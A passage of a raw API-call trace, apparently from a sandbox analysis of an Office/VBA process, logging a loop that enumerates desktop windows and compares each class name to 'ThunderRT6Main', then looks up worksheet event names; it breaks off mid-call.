GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0147.195] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0147.195] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0147.195] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0147.195] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0147.195] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0147.195] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.195] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.195] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0147.195] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0147.195] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0147.195] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0147.195] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0147.195] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0147.195] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.195] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.195] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0147.195] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0147.195] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0147.195] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0147.195] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0147.195] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0147.195] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.196] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.196] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0147.196] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0147.196] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0147.196] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0147.196] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0147.196] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0147.196] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.196] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.196] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0147.196] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0147.196] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0147.196] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0147.196] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0147.196] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0147.196] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.196] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.196] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0147.196] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0147.196] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0147.196] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0147.196] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0147.196] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0147.196] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.196] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.196] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0147.196] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0147.196] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0147.196] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0147.196] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0147.196] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0147.196] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.196] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.196] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0147.196] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0147.196] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0147.196] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0147.196] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0147.196] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0147.196] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.196] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.196] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0147.196] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0147.196] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0147.196] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0147.196] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0147.196] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0147.196] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.196] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.196] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0147.196] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0147.196] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0147.197] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0147.197] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0147.197] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0147.197] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.197] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.197] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0147.197] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0147.197] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0147.197] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0147.197] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0147.197] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0147.197] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0147.197] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0147.197] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0147.197] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0147.197] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0147.197] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0147.197] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0147.197] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0147.197] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0147.197] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0147.197] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0147.197] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0147.197] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0147.197] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0147.197] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0147.197] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0147.197] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.197] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.197] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0147.197] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0147.197] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0147.197] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0147.197] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0147.197] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0147.197] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.197] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.197] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0147.197] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0147.197] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0147.197] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0147.197] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0147.197] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0147.197] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.197] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.197] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0147.197] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0147.197] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0147.197] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0147.197] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0147.197] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0147.197] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0147.197] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0147.197] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0147.198] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0147.198] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0147.198] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0147.198] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0147.198] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0147.198] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0147.198] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0147.198] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0147.198] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0147.198] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0147.198] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0147.198] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0147.198] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0147.198] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.198] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.198] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.198] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0147.198] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0147.198] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0147.198] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.198] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0147.198] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0147.198] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0147.198] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.198] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0147.198] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.198] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.198] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.198] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0147.198] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.198] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.198] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.198] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0147.198] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.198] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.198] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.198] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0147.198] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0147.198] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0147.198] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.198] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0147.198] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0147.198] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0147.198] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.198] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0147.198] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0147.198] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0147.198] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0147.198] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0147.198] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0147.198] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0147.198] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.199] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0147.199] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.199] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.199] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.199] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0147.199] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.199] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.199] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.199] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0147.199] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0147.199] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0147.199] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.199] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0147.199] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="#43") returned 3 [0147.199] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0147.199] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0147.199] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0147.199] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.199] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.199] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0147.199] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0147.199] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0147.199] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0147.199] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0147.199] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0147.199] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.199] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.199] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0147.199] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0147.199] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0147.199] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0147.199] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.199] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0147.199] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0147.199] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0147.199] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0147.199] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0147.199] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0147.199] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0147.199] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0147.199] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0147.199] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.199] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.199] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0147.199] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0147.200] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0147.200] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0147.200] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0147.200] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0147.200] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0147.200] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0147.200] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0147.200] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0147.200] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.200] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.200] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0147.200] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0147.200] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.200] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.200] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0147.200] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0147.200] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0147.200] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0147.200] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0147.200] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0147.200] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0147.200] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0147.200] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0147.200] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0147.200] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5968870 [0147.200] IMalloc:Free (This=0x7fefe465380, pv=0x5968870) [0147.269] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x11, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0147.269] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x7, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0147.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0147.270] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0147.270] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0147.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0147.277] _mbscpy_s (in: _Dst=0x20df00, _DstSizeInBytes=0x1c, _Src=0x5d10546 | out: _Dst=0x20df00) returned 0x0 [0147.277] _mbscpy_s (in: _Dst=0x20df0a, _DstSizeInBytes=0x12, _Src=0x20e0b0 | out: _Dst=0x20df0a) returned 0x0 [0147.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0147.278] strncpy_s (in: _Dst=0x64ac5e0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0147.278] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0147.278] bsearch (_Key=0x1e7f38, _Base=0x66e0fd0, 